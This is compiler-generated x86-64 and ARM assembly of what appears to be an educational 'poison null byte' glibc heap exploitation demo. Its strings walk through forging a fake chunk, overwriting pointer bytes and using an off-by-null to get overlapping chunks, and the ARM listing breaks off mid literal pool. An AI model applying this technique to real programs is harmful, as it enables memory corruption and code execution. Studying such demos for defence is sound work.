	.file	"654103.c"
	.intel_syntax noprefix
	.text
	.section	.rodata
.LC0:
	.string	"Welcome to poison null byte!"
.LC1:
	.string	"Tested in Ubuntu 20.04 64bit."
	.align 8
.LC2:
	.string	"This technique can be used when you have an off-by-one into a malloc'ed region with a null byte."
	.align 8
.LC3:
	.string	"Some of the implementation details are borrowed from https://github.com/StarCross-Tech/heap_exploit_2.31/blob/master/off_by_null.c\n"
	.align 8
.LC4:
	.string	"Step1: allocate a large padding so that the fake chunk's addresses's lowest 2nd byte is \\x00"
.LC5:
	.string	"heap address: %p\n"
	.align 8
.LC6:
	.string	"Calculate padding chunk size: 0x%lx\n"
	.align 8
.LC7:
	.string	"Allocate the padding. This is required to avoid a 4-bit bruteforce because we are going to overwrite least significant two bytes."
	.align 8
.LC8:
	.string	"\nStep2: allocate two chunks adjacent to each other."
	.align 8
.LC9:
	.string	"Let's call the first one 'prev' and the second one 'victim'."
	.align 8
.LC10:
	.string	"malloc(0x10) to avoid consolidation"
	.align 8
.LC11:
	.string	"prev chunk: malloc(0x500) = %p\n"
	.align 8
.LC12:
	.string	"victim chunk: malloc(0x4f0) = %p\n"
	.align 8
.LC13:
	.string	"\nStep3: Link prev into largebin"
	.align 8
.LC14:
	.string	"This step is necessary for us to forge a fake chunk later"
	.align 8
.LC15:
	.string	"The fd_nextsize of prev and bk_nextsize of prev will be the fd and bck pointers of the fake chunk"
	.align 8
.LC16:
	.string	"allocate a chunk 'a' with size a little bit smaller than prev's"
.LC17:
	.string	"a: malloc(0x4f0) = %p\n"
	.align 8
.LC18:
	.string	"allocate a chunk 'b' with size a little bit larger than prev's"
.LC19:
	.string	"b: malloc(0x510) = %p\n"
.LC20:
	.string	"Now free a, b, prev"
	.align 8
.LC21:
	.string	"Allocate a huge chunk to enable sorting"
	.align 8
.LC22:
	.string	"This will add a, b and prev to largebin\nNow prev is in largebin"
	.align 8
.LC23:
	.string	"The fd_nextsize of prev points to a: %p\n"
	.align 8
.LC24:
	.string	"The bk_nextsize of prev points to b: %p\n"
	.align 8
.LC25:
	.string	"\nStep4: Allocate prev again to construct the fake chunk"
	.align 8
.LC26:
	.string	"Since large chunk is sorted by size and a's size is smaller than prev's,"
	.align 8
.LC27:
	.string	"we can allocate 0x500 as before to take prev out"
.LC28:
	.string	"prev2: malloc(0x500) = %p\n"
.LC29:
	.string	"the_stack_data/654103.c"
.LC30:
	.string	"prev == prev2"
	.align 8
.LC31:
	.string	"The fake chunk is contained in prev and the size is smaller than prev's size by 0x10"
	.align 8
.LC32:
	.string	"So set its size to 0x501 (0x510-0x10 | flag)"
	.align 8
.LC33:
	.string	"And set its prev_size(next_chunk) to 0x500 to bypass the size==prev_size(next_chunk) check"
	.align 8
.LC34:
	.string	"The fake chunk should be at: %p\n"
	.align 8
.LC35:
	.string	"\nStep5: Manipulate residual pointers to bypass unlinking later."
	.align 8
.LC36:
	.string	"Take b out first by allocating 0x510"
	.align 8
.LC37:
	.string	"Because of the residual pointers in b, b->fd points to a right now: %p\n"
	.align 8
.LC38:
	.string	"We can overwrite the least significant two bytes to make it our fake chunk.\nIf the lowest 2nd byte is not \\x00, we need to guess what to write now"
	.align 8
.LC39:
	.string	"After the overwrite, b->fd is: %p, which is the chunk pointer to our fake chunk\n"
	.align 8
.LC40:
	.string	"To do the same to a, we can move it to unsorted bin firstby taking it out from largebin and free it into unsortedbin"
	.align 8
.LC41:
	.string	"Now free victim into unsortedbin so that a->bck points to victim"
.LC42:
	.string	"a->bck: %p, victim: %p\n"
	.align 8
.LC43:
	.string	"Again, we take a out and overwrite a->bck to fake chunk"
	.align 8
.LC44:
	.string	"After the overwrite, a->bck is: %p, which is the chunk pointer to our fake chunk\n"
	.align 8
.LC45:
	.string	"\nStep6: Use backward consolidation to add fake chunk into unsortedbin"
	.align 8
.LC46:
	.string	"Take victim out from unsortedbin"
.LC47:
	.string	"%p\n"
	.align 8
.LC48:
	.string	"off-by-null into the size of vicim"
	.align 8
.LC49:
	.string	"Now if we free victim, libc will think the fake chunk is a free chunk above victim\nIt will try to backward consolidate victim with our fake chunk by unlinking the fake chunk then\nadd the merged chunk into unsortedbin."
	.align 8
.LC50:
	.string	"For our fake chunk, because of what we did in step4,\nnow P->fd->bk(%p) == P(%p), P->bk->fd(%p) == P(%p)\nso the unlink will succeed\n"
	.align 8
.LC51:
	.string	"After freeing the victim, the new merged chunk is added to unsorted binAnd it is overlapped with the prev chunk"
	.align 8
.LC52:
	.string	"Now let's validate the chunk overlapping"
.LC53:
	.string	"merged: malloc(0x100) = %p\n"
.LC54:
	.string	"Now merged's content: %s\n"
.LC55:
	.string	"Overwrite prev's content"
	.align 8
.LC56:
	.string	"merged's content has changed to: %s\n"
.LC57:
	.string	"CCCCCCCCC"
.LC58:
	.string	"strstr(merged, \"CCCCCCCCC\")"
	.text
	.globl	main
	.type	main, @function
main:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 112
	mov	rax, QWORD PTR stdin[rip]
	mov	esi, 0
	mov	rdi, rax
	call	setbuf@PLT
	mov	rax, QWORD PTR stdout[rip]
	mov	esi, 0
	mov	rdi, rax
	call	setbuf@PLT
	lea	rdi, .LC0[rip]
	call	puts@PLT
	lea	rdi, .LC1[rip]
	call	puts@PLT
	lea	rdi, .LC2[rip]
	call	puts@PLT
	lea	rdi, .LC3[rip]
	call	puts@PLT
	lea	rdi, .LC4[rip]
	call	puts@PLT
	mov	edi, 1
	call	malloc@PLT
	mov	QWORD PTR -112[rbp], rax
	mov	rax, QWORD PTR -112[rbp]
	and	rax, -4096
	mov	QWORD PTR -104[rbp], rax
	mov	rax, QWORD PTR -104[rbp]
	mov	rsi, rax
	lea	rdi, .LC5[rip]
	mov	eax, 0
	call	printf@PLT
	mov	rax, QWORD PTR -112[rbp]
	movzx	edx, ax
	mov	eax, 65504
	sub	rax, rdx
	mov	QWORD PTR -96[rbp], rax
	mov	rax, QWORD PTR -96[rbp]
	mov	rsi, rax
	lea	rdi, .LC6[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rdi, .LC7[rip]
	call	puts@PLT
	mov	rax, QWORD PTR -96[rbp]
	mov	rdi, rax
	call	malloc@PLT
	mov	QWORD PTR -88[rbp], rax
	lea	rdi, .LC8[rip]
	call	puts@PLT
	lea	rdi, .LC9[rip]
	call	puts@PLT
	mov	edi, 1280
	call	malloc@PLT
	mov	QWORD PTR -80[rbp], rax
	mov	edi, 1264
	call	malloc@PLT
	mov	QWORD PTR -72[rbp], rax
	lea	rdi, .LC10[rip]
	call	puts@PLT
	mov	edi, 16
	call	malloc@PLT
	mov	rax, QWORD PTR -80[rbp]
	mov	rsi, rax
	lea	rdi, .LC11[rip]
	mov	eax, 0
	call	printf@PLT
	mov	rax, QWORD PTR -72[rbp]
	mov	rsi, rax
	lea	rdi, .LC12[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rdi, .LC13[rip]
	call	puts@PLT
	lea	rdi, .LC14[rip]
	call	puts@PLT
	lea	rdi, .LC15[rip]
	call	puts@PLT
	lea	rdi, .LC16[rip]
	call	puts@PLT
	mov	edi, 1264
	call	malloc@PLT
	mov	QWORD PTR -64[rbp], rax
	mov	rax, QWORD PTR -64[rbp]
	mov	rsi, rax
	lea	rdi, .LC17[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rdi, .LC10[rip]
	call	puts@PLT
	mov	edi, 16
	call	malloc@PLT
	lea	rdi, .LC18[rip]
	call	puts@PLT
	mov	edi, 1296
	call	malloc@PLT
	mov	QWORD PTR -56[rbp], rax
	mov	rax, QWORD PTR -56[rbp]
	mov	rsi, rax
	lea	rdi, .LC19[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rdi, .LC10[rip]
	call	puts@PLT
	mov	edi, 16
	call	malloc@PLT
	lea	rdi, .LC20[rip]
	call	puts@PLT
	mov	rax, QWORD PTR -64[rbp]
	mov	rdi, rax
	call	free@PLT
	mov	rax, QWORD PTR -56[rbp]
	mov	rdi, rax
	call	free@PLT
	mov	rax, QWORD PTR -80[rbp]
	mov	rdi, rax
	call	free@PLT
	lea	rdi, .LC21[rip]
	call	puts@PLT
	mov	edi, 4096
	call	malloc@PLT
	lea	rdi, .LC22[rip]
	call	puts@PLT
	mov	rax, QWORD PTR -80[rbp]
	add	rax, 16
	mov	rax, QWORD PTR [rax]
	add	rax, 16
	mov	rsi, rax
	lea	rdi, .LC23[rip]
	mov	eax, 0
	call	printf@PLT
	mov	rax, QWORD PTR -80[rbp]
	add	rax, 24
	mov	rax, QWORD PTR [rax]
	add	rax, 16
	mov	rsi, rax
	lea	rdi, .LC24[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rdi, .LC25[rip]
	call	puts@PLT
	lea	rdi, .LC26[rip]
	call	puts@PLT
	lea	rdi, .LC27[rip]
	call	puts@PLT
	mov	edi, 1280
	call	malloc@PLT
	mov	QWORD PTR -48[rbp], rax
	mov	rax, QWORD PTR -48[rbp]
	mov	rsi, rax
	lea	rdi, .LC28[rip]
	mov	eax, 0
	call	printf@PLT
	mov	rax, QWORD PTR -80[rbp]
	cmp	rax, QWORD PTR -48[rbp]
	je	.L2
	lea	rcx, __PRETTY_FUNCTION__.0[rip]
	mov	edx, 69
	lea	rsi, .LC29[rip]
	lea	rdi, .LC30[rip]
	call	__assert_fail@PLT
.L2:
	lea	rdi, .LC31[rip]
	call	puts@PLT
	lea	rdi, .LC32[rip]
	call	puts@PLT
	mov	rax, QWORD PTR -80[rbp]
	add	rax, 8
	mov	QWORD PTR [rax], 1281
	lea	rdi, .LC33[rip]
	call	puts@PLT
	mov	rax, QWORD PTR -80[rbp]
	add	rax, 1280
	mov	QWORD PTR [rax], 1280
	mov	rax, QWORD PTR -80[rbp]
	add	rax, 16
	mov	rsi, rax
	lea	rdi, .LC34[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rdi, .LC35[rip]
	call	puts@PLT
	lea	rdi, .LC36[rip]
	call	puts@PLT
	mov	edi, 1296
	call	malloc@PLT
	mov	QWORD PTR -40[rbp], rax
	mov	rax, QWORD PTR -40[rbp]
	mov	rax, QWORD PTR [rax]
	add	rax, 16
	mov	rsi, rax
	lea	rdi, .LC37[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rdi, .LC38[rip]
	call	puts@PLT
	mov	rax, QWORD PTR -40[rbp]
	mov	BYTE PTR [rax], 16
	mov	rax, QWORD PTR -40[rbp]
	add	rax, 1
	mov	BYTE PTR [rax], 0
	mov	rax, QWORD PTR -40[rbp]
	mov	rax, QWORD PTR [rax]
	mov	rsi, rax
	lea	rdi, .LC39[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rdi, .LC40[rip]
	call	puts@PLT
	mov	edi, 1264
	call	malloc@PLT
	mov	QWORD PTR -32[rbp], rax
	mov	rax, QWORD PTR -32[rbp]
	mov	rdi, rax
	call	free@PLT
	lea	rdi, .LC41[rip]
	call	puts@PLT
	mov	rax, QWORD PTR -72[rbp]
	mov	rdi, rax
	call	free@PLT
	mov	rax, QWORD PTR -64[rbp]
	add	rax, 8
	mov	rax, QWORD PTR [rax]
	mov	rdx, QWORD PTR -72[rbp]
	mov	rsi, rax
	lea	rdi, .LC42[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rdi, .LC43[rip]
	call	puts@PLT
	mov	edi, 1264
	call	malloc@PLT
	mov	QWORD PTR -24[rbp], rax
	mov	rax, QWORD PTR -24[rbp]
	add	rax, 8
	mov	BYTE PTR [rax], 16
	mov	rax, QWORD PTR -24[rbp]
	add	rax, 9
	mov	BYTE PTR [rax], 0
	mov	rax, QWORD PTR -24[rbp]
	add	rax, 8
	mov	rax, QWORD PTR [rax]
	mov	rsi, rax
	lea	rdi, .LC44[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rdi, .LC45[rip]
	call	puts@PLT
	lea	rdi, .LC46[rip]
	call	puts@PLT
	mov	edi, 1264
	call	malloc@PLT
	mov	QWORD PTR -16[rbp], rax
	mov	rax, QWORD PTR -16[rbp]
	mov	rsi, rax
	lea	rdi, .LC47[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rdi, .LC48[rip]
	call	puts@PLT
	mov	rax, QWORD PTR -16[rbp]
	sub	rax, 8
	mov	BYTE PTR [rax], 0
	lea	rdi, .LC49[rip]
	call	puts@PLT
	mov	rax, QWORD PTR -40[rbp]
	mov	rcx, QWORD PTR [rax]
	mov	rax, QWORD PTR -24[rbp]
	add	rax, 8
	mov	rax, QWORD PTR [rax]
	mov	rsi, QWORD PTR -80[rbp]
	mov	rdx, QWORD PTR -80[rbp]
	mov	r8, rsi
	mov	rsi, rax
	lea	rdi, .LC50[rip]
	mov	eax, 0
	call	printf@PLT
	mov	rax, QWORD PTR -72[rbp]
	mov	rdi, rax
	call	free@PLT
	lea	rdi, .LC51[rip]
	call	puts@PLT
	lea	rdi, .LC52[rip]
	call	puts@PLT
	mov	edi, 256
	call	malloc@PLT
	mov	QWORD PTR -8[rbp], rax
	mov	rax, QWORD PTR -8[rbp]
	mov	rsi, rax
	lea	rdi, .LC53[rip]
	mov	eax, 0
	call	printf@PLT
	mov	rax, QWORD PTR -8[rbp]
	mov	edx, 128
	mov	esi, 65
	mov	rdi, rax
	call	memset@PLT
	mov	rax, QWORD PTR -8[rbp]
	mov	rsi, rax
	lea	rdi, .LC54[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rdi, .LC55[rip]
	call	puts@PLT
	mov	rax, QWORD PTR -48[rbp]
	mov	edx, 128
	mov	esi, 67
	mov	rdi, rax
	call	memset@PLT
	mov	rax, QWORD PTR -8[rbp]
	mov	rsi, rax
	lea	rdi, .LC56[rip]
	mov	eax, 0
	call	printf@PLT
	mov	rax, QWORD PTR -8[rbp]
	lea	rsi, .LC57[rip]
	mov	rdi, rax
	call	strstr@PLT
	test	rax, rax
	jne	.L3
	lea	rcx, __PRETTY_FUNCTION__.0[rip]
	mov	edx, 134
	lea	rsi, .LC29[rip]
	lea	rdi, .LC58[rip]
	call	__assert_fail@PLT
.L3:
	mov	eax, 0
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	main, .-main
	.section	.rodata
	.type	__PRETTY_FUNCTION__.0, @object
	.size	__PRETTY_FUNCTION__.0, 5
__PRETTY_FUNCTION__.0:
	.string	"main"
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"654103.c"
	.text
	.section	.rodata
	.align	2
.LC0:
	.ascii	"Welcome to poison null byte!\000"
	.align	2
.LC1:
	.ascii	"Tested in Ubuntu 20.04 64bit.\000"
	.align	2
.LC2:
	.ascii	"This technique can be used when you have an off-by-"
	.ascii	"one into a malloc'ed region with a null byte.\000"
	.align	2
.LC3:
	.ascii	"Some of the implementation details are borrowed fro"
	.ascii	"m https://github.com/StarCross-Tech/heap_exploit_2."
	.ascii	"31/blob/master/off_by_null.c\012\000"
	.align	2
.LC4:
	.ascii	"Step1: allocate a large padding so that the fake ch"
	.ascii	"unk's addresses's lowest 2nd byte is \\x00\000"
	.align	2
.LC5:
	.ascii	"heap address: %p\012\000"
	.align	2
.LC6:
	.ascii	"Calculate padding chunk size: 0x%lx\012\000"
	.align	2
.LC7:
	.ascii	"Allocate the padding. This is required to avoid a 4"
	.ascii	"-bit bruteforce because we are going to overwrite l"
	.ascii	"east significant two bytes.\000"
	.align	2
.LC8:
	.ascii	"\012Step2: allocate two chunks adjacent to each oth"
	.ascii	"er.\000"
	.align	2
.LC9:
	.ascii	"Let's call the first one 'prev' and the second one "
	.ascii	"'victim'.\000"
	.align	2
.LC10:
	.ascii	"malloc(0x10) to avoid consolidation\000"
	.align	2
.LC11:
	.ascii	"prev chunk: malloc(0x500) = %p\012\000"
	.align	2
.LC12:
	.ascii	"victim chunk: malloc(0x4f0) = %p\012\000"
	.align	2
.LC13:
	.ascii	"\012Step3: Link prev into largebin\000"
	.align	2
.LC14:
	.ascii	"This step is necessary for us to forge a fake chunk"
	.ascii	" later\000"
	.align	2
.LC15:
	.ascii	"The fd_nextsize of prev and bk_nextsize of prev wil"
	.ascii	"l be the fd and bck pointers of the fake chunk\000"
	.align	2
.LC16:
	.ascii	"allocate a chunk 'a' with size a little bit smaller"
	.ascii	" than prev's\000"
	.align	2
.LC17:
	.ascii	"a: malloc(0x4f0) = %p\012\000"
	.align	2
.LC18:
	.ascii	"allocate a chunk 'b' with size a little bit larger "
	.ascii	"than prev's\000"
	.align	2
.LC19:
	.ascii	"b: malloc(0x510) = %p\012\000"
	.align	2
.LC20:
	.ascii	"Now free a, b, prev\000"
	.align	2
.LC21:
	.ascii	"Allocate a huge chunk to enable sorting\000"
	.align	2
.LC22:
	.ascii	"This will add a, b and prev to largebin\012Now prev"
	.ascii	" is in largebin\000"
	.align	2
.LC23:
	.ascii	"The fd_nextsize of prev points to a: %p\012\000"
	.align	2
.LC24:
	.ascii	"The bk_nextsize of prev points to b: %p\012\000"
	.align	2
.LC25:
	.ascii	"\012Step4: Allocate prev again to construct the fak"
	.ascii	"e chunk\000"
	.align	2
.LC26:
	.ascii	"Since large chunk is sorted by size and a's size is"
	.ascii	" smaller than prev's,\000"
	.align	2
.LC27:
	.ascii	"we can allocate 0x500 as before to take prev out\000"
	.align	2
.LC28:
	.ascii	"prev2: malloc(0x500) = %p\012\000"
	.align	2
.LC29:
	.ascii	"the_stack_data/654103.c\000"
	.align	2
.LC30:
	.ascii	"prev == prev2\000"
	.align	2
.LC31:
	.ascii	"The fake chunk is contained in prev and the size is"
	.ascii	" smaller than prev's size by 0x10\000"
	.align	2
.LC32:
	.ascii	"So set its size to 0x501 (0x510-0x10 | flag)\000"
	.align	2
.LC33:
	.ascii	"And set its prev_size(next_chunk) to 0x500 to bypas"
	.ascii	"s the size==prev_size(next_chunk) check\000"
	.align	2
.LC34:
	.ascii	"The fake chunk should be at: %p\012\000"
	.align	2
.LC35:
	.ascii	"\012Step5: Manipulate residual pointers to bypass u"
	.ascii	"nlinking later.\000"
	.align	2
.LC36:
	.ascii	"Take b out first by allocating 0x510\000"
	.align	2
.LC37:
	.ascii	"Because of the residual pointers in b, b->fd points"
	.ascii	" to a right now: %p\012\000"
	.align	2
.LC38:
	.ascii	"We can overwrite the least significant two bytes to"
	.ascii	" make it our fake chunk.\012If the lowest 2nd byte "
	.ascii	"is not \\x00, we need to guess what to write now\000"
	.align	2
.LC39:
	.ascii	"After the overwrite, b->fd is: %p, which is the chu"
	.ascii	"nk pointer to our fake chunk\012\000"
	.align	2
.LC40:
	.ascii	"To do the same to a, we can move it to unsorted bin"
	.ascii	" firstby taking it out from largebin and free it in"
	.ascii	"to unsortedbin\000"
	.align	2
.LC41:
	.ascii	"Now free victim into unsortedbin so that a->bck poi"
	.ascii	"nts to victim\000"
	.align	2
.LC42:
	.ascii	"a->bck: %p, victim: %p\012\000"
	.align	2
.LC43:
	.ascii	"Again, we take a out and overwrite a->bck to fake c"
	.ascii	"hunk\000"
	.align	2
.LC44:
	.ascii	"After the overwrite, a->bck is: %p, which is the ch"
	.ascii	"unk pointer to our fake chunk\012\000"
	.align	2
.LC45:
	.ascii	"\012Step6: Use backward consolidation to add fake c"
	.ascii	"hunk into unsortedbin\000"
	.align	2
.LC46:
	.ascii	"Take victim out from unsortedbin\000"
	.align	2
.LC47:
	.ascii	"%p\012\000"
	.align	2
.LC48:
	.ascii	"off-by-null into the size of vicim\000"
	.align	2
.LC49:
	.ascii	"Now if we free victim, libc will think the fake chu"
	.ascii	"nk is a free chunk above victim\012It will try to b"
	.ascii	"ackward consolidate victim with our fake chunk by u"
	.ascii	"nlinking the fake chunk then\012add the merged chun"
	.ascii	"k into unsortedbin.\000"
	.align	2
.LC50:
	.ascii	"For our fake chunk, because of what we did in step4"
	.ascii	",\012now P->fd->bk(%p) == P(%p), P->bk->fd(%p) == P"
	.ascii	"(%p)\012so the unlink will succeed\012\000"
	.align	2
.LC51:
	.ascii	"After freeing the victim, the new merged chunk is a"
	.ascii	"dded to unsorted binAnd it is overlapped with the p"
	.ascii	"rev chunk\000"
	.align	2
.LC52:
	.ascii	"Now let's validate the chunk overlapping\000"
	.align	2
.LC53:
	.ascii	"merged: malloc(0x100) = %p\012\000"
	.align	2
.LC54:
	.ascii	"Now merged's content: %s\012\000"
	.align	2
.LC55:
	.ascii	"Overwrite prev's content\000"
	.align	2
.LC56:
	.ascii	"merged's content has changed to: %s\012\000"
	.align	2
.LC57:
	.ascii	"CCCCCCCCC\000"
	.align	2
.LC58:
	.ascii	"strstr(merged, \"CCCCCCCCC\")\000"
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 56
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{fp, lr}
	add	fp, sp, #4
	sub	sp, sp, #64
	ldr	r3, .L5
	ldr	r3, [r3]
	mov	r1, #0
	mov	r0, r3
	bl	setbuf
	ldr	r3, .L5+4
	ldr	r3, [r3]
	mov	r1, #0
	mov	r0, r3
	bl	setbuf
	ldr	r0, .L5+8
	bl	puts
	ldr	r0, .L5+12
	bl	puts
	ldr	r0, .L5+16
	bl	puts
	ldr	r0, .L5+20
	bl	puts
	ldr	r0, .L5+24
	bl	puts
	mov	r0, #1
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-60]
	ldr	r3, [fp, #-60]
	bic	r3, r3, #4080
	bic	r3, r3, #15
	str	r3, [fp, #-56]
	ldr	r1, [fp, #-56]
	ldr	r0, .L5+28
	bl	printf
	ldr	r3, [fp, #-60]
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	rsb	r3, r3, #65280
	add	r3, r3, #224
	str	r3, [fp, #-52]
	ldr	r1, [fp, #-52]
	ldr	r0, .L5+32
	bl	printf
	ldr	r0, .L5+36
	bl	puts
	ldr	r0, [fp, #-52]
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-48]
	ldr	r0, .L5+40
	bl	puts
	ldr	r0, .L5+44
	bl	puts
	mov	r0, #1280
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-44]
	mov	r0, #1264
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-40]
	ldr	r0, .L5+48
	bl	puts
	mov	r0, #16
	bl	malloc
	ldr	r1, [fp, #-44]
	ldr	r0, .L5+52
	bl	printf
	ldr	r1, [fp, #-40]
	ldr	r0, .L5+56
	bl	printf
	ldr	r0, .L5+60
	bl	puts
	ldr	r0, .L5+64
	bl	puts
	ldr	r0, .L5+68
	bl	puts
	ldr	r0, .L5+72
	bl	puts
	mov	r0, #1264
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-36]
	ldr	r1, [fp, #-36]
	ldr	r0, .L5+76
	bl	printf
	ldr	r0, .L5+48
	bl	puts
	mov	r0, #16
	bl	malloc
	ldr	r0, .L5+80
	bl	puts
	mov	r0, #1296
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-32]
	ldr	r1, [fp, #-32]
	ldr	r0, .L5+84
	bl	printf
	ldr	r0, .L5+48
	bl	puts
	mov	r0, #16
	bl	malloc
	ldr	r0, .L5+88
	bl	puts
	ldr	r0, [fp, #-36]
	bl	free
	ldr	r0, [fp, #-32]
	bl	free
	ldr	r0, [fp, #-44]
	bl	free
	ldr	r0, .L5+92
	bl	puts
	mov	r0, #4096
	bl	malloc
	ldr	r0, .L5+96
	bl	puts
	ldr	r3, [fp, #-44]
	add	r3, r3, #8
	ldr	r3, [r3]
	add	r3, r3, #16
	mov	r1, r3
	ldr	r0, .L5+100
	bl	printf
	ldr	r3, [fp, #-44]
	add	r3, r3, #12
	ldr	r3, [r3]
	add	r3, r3, #16
	mov	r1, r3
	ldr	r0, .L5+104
	bl	printf
	ldr	r0, .L5+108
	bl	puts
	ldr	r0, .L5+112
	bl	puts
	ldr	r0, .L5+116
	bl	puts
	mov	r0, #1280
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-28]
	ldr	r1, [fp, #-28]
	ldr	r0, .L5+120
	bl	printf
	ldr	r2, [fp, #-44]
	ldr	r3, [fp, #-28]
	cmp	r2, r3
	beq	.L2
	ldr	r3, .L5+124
	mov	r2, #69
	ldr	r1, .L5+128
	ldr	r0, .L5+132
	bl	__assert_fail
.L2:
	ldr	r0, .L5+136
	bl	puts
	ldr	r0, .L5+140
	bl	puts
	ldr	r3, [fp, #-44]
	add	r3, r3, #4
	ldr	r2, .L5+144
	str	r2, [r3]
	ldr	r0, .L5+148
	bl	puts
	ldr	r3, [fp, #-44]
	add	r3, r3, #1280
	mov	r2, #1280
	str	r2, [r3]
	ldr	r3, [fp, #-44]
	add	r3, r3, #16
	mov	r1, r3
	ldr	r0, .L5+152
	bl	printf
	ldr	r0, .L5+156
	bl	puts
	ldr	r0, .L5+160
	bl	puts
	mov	r0, #1296
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-24]
	ldr	r3, [fp, #-24]
	ldr	r3, [r3]
	add	r3, r3, #16
	mov	r1, r3
	ldr	r0, .L5+164
	bl	printf
	ldr	r0, .L5+168
	bl	puts
	ldr	r3, [fp, #-24]
	mov	r2, #16
	strb	r2, [r3]
	ldr	r3, [fp, #-24]
	add	r3, r3, #1
	mov	r2, #0
	strb	r2, [r3]
	ldr	r3, [fp, #-24]
	ldr	r3, [r3]
	mov	r1, r3
	ldr	r0, .L5+172
	bl	printf
	ldr	r0, .L5+176
	bl	puts
	mov	r0, #1264
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-20]
	ldr	r0, [fp, #-20]
	bl	free
	ldr	r0, .L5+180
	bl	puts
	ldr	r0, [fp, #-40]
	bl	free
	ldr	r3, [fp, #-36]
	add	r3, r3, #4
	ldr	r3, [r3]
	ldr	r2, [fp, #-40]
	mov	r1, r3
	ldr	r0, .L5+184
	bl	printf
	ldr	r0, .L5+188
	bl	puts
	mov	r0, #1264
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-16]
	ldr	r3, [fp, #-16]
	add	r3, r3, #8
	mov	r2, #16
	strb	r2, [r3]
	ldr	r3, [fp, #-16]
	add	r3, r3, #9
	mov	r2, #0
	strb	r2, [r3]
	ldr	r3, [fp, #-16]
	add	r3, r3, #4
	ldr	r3, [r3]
	mov	r1, r3
	ldr	r0, .L5+192
	bl	printf
	ldr	r0, .L5+196
	bl	puts
	ldr	r0, .L5+200
	bl	puts
	mov	r0, #1264
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-12]
	ldr	r1, [fp, #-12]
	ldr	r0, .L5+204
	bl	printf
	ldr	r0, .L5+208
	bl	puts
	ldr	r3, [fp, #-12]
	sub	r3, r3, #8
	mov	r2, #0
	strb	r2, [r3]
	ldr	r0, .L5+212
	bl	puts
	ldr	r3, [fp, #-16]
	add	r3, r3, #4
	ldr	r1, [r3]
	ldr	r3, [fp, #-24]
	ldr	r2, [r3]
	ldr	r3, [fp, #-44]
	str	r3, [sp]
	mov	r3, r2
	ldr	r2, [fp, #-44]
	ldr	r0, .L5+216
	bl	printf
	ldr	r0, [fp, #-40]
	bl	free
	ldr	r0, .L5+220
	bl	puts
	ldr	r0, .L5+224
	bl	puts
	mov	r0, #256
	bl	malloc
	mov	r3, r0
	str	r3, [fp, #-8]
	ldr	r1, [fp, #-8]
	ldr	r0, .L5+228
	bl	printf
	mov	r2, #128
	mov	r1, #65
	ldr	r0, [fp, #-8]
	bl	memset
	ldr	r1, [fp, #-8]
	ldr	r0, .L5+232
	bl	printf
	ldr	r0, .L5+236
	bl	puts
	mov	r2, #128
	mov	r1, #67
	ldr	r0, [fp, #-28]
	bl	memset
	ldr	r1, [fp, #-8]
	ldr	r0, .L5+240
	bl	printf
	ldr	r1, .L5+244
	ldr	r0, [fp, #-8]
	bl	strstr
	mov	r3, r0
	cmp	r3, #0
	bne	.L3
	ldr	r3, .L5+124
	mov	r2, #134
	ldr	r1, .L5+128
	ldr	r0, .L5+248
	bl	__assert_fail
.L3:
	mov	r3, #0
	mov	r0, r3
	sub	sp, fp, #4
	@ sp needed
	pop	{fp, pc}
.L6:
	.align	2
.L5:
	.word	stdin
	.word	stdout
	.word	.LC0
	.word	.LC1
	.word	.LC2
	.word	.LC3
	.word	.LC4
	.word	.LC5
	.word	.LC6
	.word	.LC7
	.word	.LC8
	.word	.LC9
	.word	.LC10
	.word	.LC11
	.word	.LC12
	.word	.LC13
	.word	.LC14
	.word	.LC15
	.word	.LC16
	.word	.LC17
	.word	.LC18
	.word	.LC19
	.word	.LC20
	.word	.LC21
	.word	.LC22
	.word	.LC23
	.word	.LC24
	.word	.LC25
	.word	.LC26
	.word	.LC27
	.word	.LC28
	.word	__PRETTY_FUNCTION__.5320
	.word	.LC29
	.word	.LC30
	.word	.LC31
	.word	.LC32
	.word	1281
	.word	.LC33
	.word	.LC34
	.word	.LC35
	.word	.LC36
	.word	.LC37
	.word	.LC38
	.word	.LC39
	.word	.LC40
	.word	.LC41
	.word	.LC42
	.word	.LC43
	.word	.LC44
	.word	.LC45
	.word	.LC46
	.word	.LC47
	.word	.LC48
